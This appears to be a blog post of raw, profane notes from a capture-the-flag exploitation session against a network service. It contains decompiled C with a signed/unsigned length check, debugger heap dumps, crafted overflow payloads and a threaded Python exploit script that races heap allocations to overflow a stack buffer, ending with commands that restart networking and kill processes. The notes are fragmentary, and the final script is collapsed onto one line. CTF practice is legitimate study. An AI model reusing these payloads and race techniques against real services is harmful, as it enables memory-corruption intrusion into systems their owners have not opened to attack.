if ( *((_DWORD *)bytesRead + 1) <= 0x40000000u )// HGFE <= 0x40000000 unsigned
{
n = *((_DWORD *)bytesRead + 1) + *((_WORD *)bytesRead + 1);// = HGFE + DC
buf = (int *)malloc(n + 8); // 8 + CD + EFGH
if ( buf )
{
v1 = *((_DWORD *)bytesRead + 1);
*buf = *(_DWORD *)bytesRead;
buf[1] = v1;
free(bytesRead);
bytesRead = buf; // abcdefgh01234567 0-7 == CD section
bufa = buf + 2; // 01234567
if ( sock_recv(fd, bufa, n) ) // read EFGH+CD much into bufa
you can hold program execution at the sock_recv and recv
practice manually fucking shit up
just before the malloc write to everywhere it will use
wtf happens here?
=> 0x8049201
omg getting excited agian
I need to give small efgh and cd == about 3 to make buf that other thing in memorry maybe
what if I had 4 CDs! and 0 efgh
0xf6c00480: 0x00450141 0x00020b81
process_request(int fd, void *mem, int memSize)
process_request(int fd, &weirdShit, 0)
this is fucking glorious
0x8048d6e
0x00020b81
that
omg omg omg
if ( *(_DWORD *)opLen <= (unsigned int)theRestLen )// unsigned
{
if ( *(_DWORD *)opLen + 1 <= stackBufLen )// signed
it's unsigned
so it's all sweet as
the signed one should be fine too
if ( *(_DWORD *)opLen <= (unsigned int)theRestLen )// unsigned
{
if ( *(_DWORD *)opLen + 1 <= stackBufLen )// signed
{
opsLeft = *(_DWORD *)opLen;
while ( 1 )
{
v7 = opsLeft--;
if ( v7 <= 0 )
break;
v9 = *(_BYTE *)theRest;
if ( v9 == -128 )
return 0;
v5 = stackBuf++;
v6 = theRest++;
*(_BYTE *)v5 = *(_BYTE *)v6;
then it does the copy
I should be able to malloc something directly after my little block
and then copy whatever I like into stackbuf
if opLen is ffff
then oplen +1 will be 0 which is less than stackBuffLen
that lets me overflow stackbuff
I'll also need to coordinate another thread to park some data in the heap there
k so turns out that you could get anything this way
which is good news
I'll spam a bunch of threads
at the start of each thread I'll put the payload I want for the opcode thing
84ffffffff
with that payload len theRestLen will be
-5
ff -1
fe -2
fd -3
fc -4
fb -5 <- p="" that="">
when I did it with my fluke bytes I got
0xfffffffe
so with my crafted payload I'll get
0xfffffffb
need oplen to be less that that
so the payload will have to be
84fffffffc at a max, which is a pretty generous upper limmit
at a minimum it has to be
7b40
if ( v9 == 0x80u )
return 0;
the hacking gods are in my favour
also I can put an 0x80 in shit and bail early once I've done the payload
def generateResponse(self):
opcodeData = self.opcodeData("E")
CD = 2
CD += self.num*4
# EFGH = len(opcodeData)
EFGH = 0
returnThing = "\x01\x00" # version
returnThing += p16(CD+2)
returnThing += p32(EFGH)
returnThing += "\x01T"
returnThing += "\x80" * CD
# returnThing += opcodeData
# print returnThing.encode('hex')
return returnThing
Server Said: T 57DEA1B2 DONE
using the "\x01T" left over from another use! woo
def generateResponse(self):
opcodeData = self.opcodeData("E")
# CD = 0
if self.num %2 == 0:
CD = self.num*4
# EFGH = len(opcodeData)
EFGH = 0
returnThing = "\x01\x00" # version
returnThing += p16(5 + 13*4 + CD)
returnThing += p32(EFGH)
returnThing += "\x81\xff\xff\xff\xfa" # load big oplen for other thread
returnThing += "A"*4
returnThing += "B"*4
returnThing += "C"*4
returnThing += "D"*4
returnThing += "E"*4 # stack overridding
returnThing += "F"*4
returnThing += "G"*4
returnThing += "H"*4
returnThing += "I"*4
returnThing += "J"*4
returnThing += "K"*4
returnThing += "L"*4
returnThing += "\x80"*4 # stop coppying
returnThing += "A" * CD
# returnThing += opcodeData
# print returnThing.encode('hex')
return returnThing
else:
CD = self.num*4
# EFGH = len(opcodeData)
EFGH = 0
returnThing = "\x01\x00" # version
returnThing += p16(CD)
returnThing += p32(EFGH)
returnThing += "A" * CD
# returnThing += opcodeData
# print returnThing.encode('hex')
return returnThing
#theBestXD
def generateResponse(self):
opcodeData = self.opcodeData("E")
# CD = 2
CD = self.num
# EFGH = len(opcodeData)
EFGH = 0
returnThing = "\x01\x00" # version
returnThing += p16(CD*4)
returnThing += p32(EFGH)
returnThing += "\x01T\x01T"*CD
# returnThing += "\x80" * CD
# returnThing += opcodeData
# print returnThing.encode('hex')
return returnThing
copy_length + 1 > output_buffer_size
yay it works
nay it's hitting the thing
thinking send one then two and hold on the first recv
release 2 first so that it lines up
pause A till B leaves
0xf6200460: 0x00000000 0x00000015 0x00000000 0x00000000
0xf6200470: 0x00000000 0x00000015 0x00040001 0x00000000
0xf6200480: 0x42424242 0x00020b81 0x00000000 0x00000000
continue..
0xf6200460: 0x00000000 0x00000015 0x00000000 0x00000000
0xf6200470: 0x00000000 0x00000015 0xf6200460 0x00000000
0xf6200480: 0x42424242 0x00020b81 0x00000000 0x00000000
0xf6200440: 0x00000000 0x00000000 0x00000000 0x00000000
0xf6200450: 0xf6400010 0x00000000 0x00021000 0x00021000
0xf6200460: 0x00000000 0x00000015 0x00040001 0x00000000
0xf6200470: 0x00000000 0x00020b91 0x00000000 0x00000000
0xf6200480: 0x00000000 0x00000000 0x00000000 0x00000000
12 rows
6 blocks
3 extra
100 + 3 + 4*6 + 4*4*12
0xf59fe230: 0x41414141 0x41414141 0x41414141 0x41414141
0xf59fe240: 0x00000041 0x00000000 0x00000000 0x00000000
0xf59fe250: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe260: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe270: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe280: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe290: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe300: 0x0100007f 0x00000000 0x00000006 0x00000006
0xf59fe310: 0x00000000 0xf59feb40 0xf59fe358 0x08049219
0xec3f0200: 0x41414141 0x020b7941 0x65000100 0x00000001
0xec3f0210: 0xffff8100 0x4141faff 0x41414141 0x41414141
0xec3f0220: 0x41414141 0x41414141 0x41414141 0x41414141
0xec3f0230: 0x41414141 0x41414141 0x41414141 0x41414141
0xec3f0240: 0x00000041 0x00000000 0x00000000 0x00000000
0xec3f0250: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f0260: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f0270: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f0280: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f0290: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f02a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f02b0: 0x00000000 0x00000000 0x00000000 0x00000000
why the fuck are they leaving!
opsLeft = *(_DWORD *)opLen;
while ( 1 )
{
v7 = opsLeft--;
if ( v7 <= 0 )
break;
v9 = *(_BYTE *)theRest;
if ( v9 == 0x80u )
return 0;
v5 = stackBuf++;
v6 = theRest++;
*(_BYTE *)v5 = *(_BYTE *)v6;
}
result = *(_DWORD *)opLen;
}
else
{
8048E30
A block is likely to get the same as a previous block so I should set up
one thats like
Junk
Junk
Junk
Goodshit
and then malloc a spot so that it fits in
payloads = [
"A"*128 + "\x81\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "CCCC",
"B"*(128)
]
becomes:
payloads = [
"A"*128 + "\x84\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "CCCC",
"B"*(128)
]
lol
0x1ffff7f
"A"*(126) + "\x84\x7f\xff\xff\xff" + 'A'*10 + "0x80",
->-->
#!/usr/bin/env python import SocketServer from pwn import * from sys import stdin, stdout, argv from struct import pack from os import urandom, system from time import * THREADS = ord("c") # 99 REMOTE_SERVER = "localhost" REMOTE_PORT = 24242 # REMOTE_SERVER = "pwn.chal.csaw.io" # REMOTE_PORT = 8004 SOCKET_SERVER = "0.0.0.0" SOCKET_PORT = 6001 #int(sys.argv[1]) numThreads = 16 thread = 0 # threadList = [None for x in xrange(numThreads)] # opcodes = [ # "\x83\x00\x00\xff", # "\x84\xff\xff\xff\xfa", # "\x84\xff\xff\xff\xfa678", # "\x84\x80\x00\x00\x00", # "\x84\x83\x82\x81\xff" # ] # payloads = [ # "\x01T"*0x7fff, # "AAAA" # ] # EABE was the # payloads = [ # "\x04EAAA"*64, # "\x04EBBB", # "\x04ECCC", # "\x04EDDD", # "\x04EAEE\x04EABE\x04EABC\x04EABC\x04EABC\x04EABC\x04EDBC\x04EDEC\x04EDEF\x04EDEF\x04EDEF\x04EAEF\x04EABF\x04EABC\x04EABC\x04EABC\x04EABC\x04EABC\x04EEBC\x04EEEC\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE" # ] # payloads = [ # "\x81\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "BBBB"*100, # "\x81\x00\x00\x02\xff", # "" # ] # "B"*(128) + "BBBB" lines up wiht that weird thing payloads = [ "A"*(126 + 5 + 10 + 1 + 100), "A"*(126) + "\x84\x7f\xff\xff\xff" + 'A'*10 + "0x80", "B"*(126) ] # thinking logically about this # spray E's everywhere # ... or not that was stupid # payloads = [chr(a)*4 for a in range(ord('A'), ord('Z')+1)] header = lambda c: "\x01\x00"+p16(len(c))+p32(0) # if special: # returnThing += "\x84\xff\xff\xff\xfa678"*CD # # returnThing += "\x80"*4 # else: # returnThing += "\x84\xff\xff\xff\xf067\x80"*CD # returnThing += opcodeData # print returnThing.encode('hex') # return returnThing class TCPHandler(SocketServer.BaseRequestHandler): def serverResponse(self, response): # if "T" in response: # print "yep" stdout.write("\033[1;36mServer Said: \033[39m{}\033[0m\n".format(response.encode('hex'))) stdout.write("\033[1;36mServer Said: \033[39m{}\033[0m\n".format(response)) stdout.flush() def handle(self): global thread payload = payloads[thread%len(payloads)] thread += 1 # b = thread # if thread%2 == 0: # sleep(0.0015) # raw_input('continue?') # sleep(b * 0.001) # send the header and then wait if thread < 5 or thread > 14: sleep(0.1*thread) package = header(payload) + payload # print package.encode('hex') self.request.sendall(package) recieved = self.request.recv(1024) self.serverResponse(recieved) # Create server and bind server = SocketServer.ThreadingTCPServer(("0.0.0.0",SOCKET_PORT),TCPHandler) # Initialise remote client rmsrv = remote(REMOTE_SERVER, REMOTE_PORT) clientData = pack("<HH", numThreads, SOCKET_PORT) rmsrv.sendline(clientData) rmsrv.close() server.allow_reuse_address=True # for x in range(numThreads): # server.handle_request() server.serve_forever() server.server_close() os.system("/etc/init.d/networking restart") os.system("netstat -pant | grep mom | grep -v LISTEN | cut -d\ -f 36 | sed 's/\/.*//g' | xargs kill -9") print
Subscribe to:
Posts (Atom)